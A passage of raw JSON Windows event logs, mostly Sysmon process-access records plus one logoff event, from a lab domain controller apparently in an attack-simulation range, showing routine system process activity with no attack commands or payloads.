C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.747","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.747\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.747","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.761\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.761","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.761\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.761","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.761\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.761","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222356,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x1221BD\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x1221bd","LogonType":"3","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.918\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4381-5F2D-0000-0010E2231200}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.918","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4381-5F2D-0000-0010E2231200}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.918\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4381-5F2D-0000-0010E2231200}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.918","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4381-5F2D-0000-0010E2231200}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|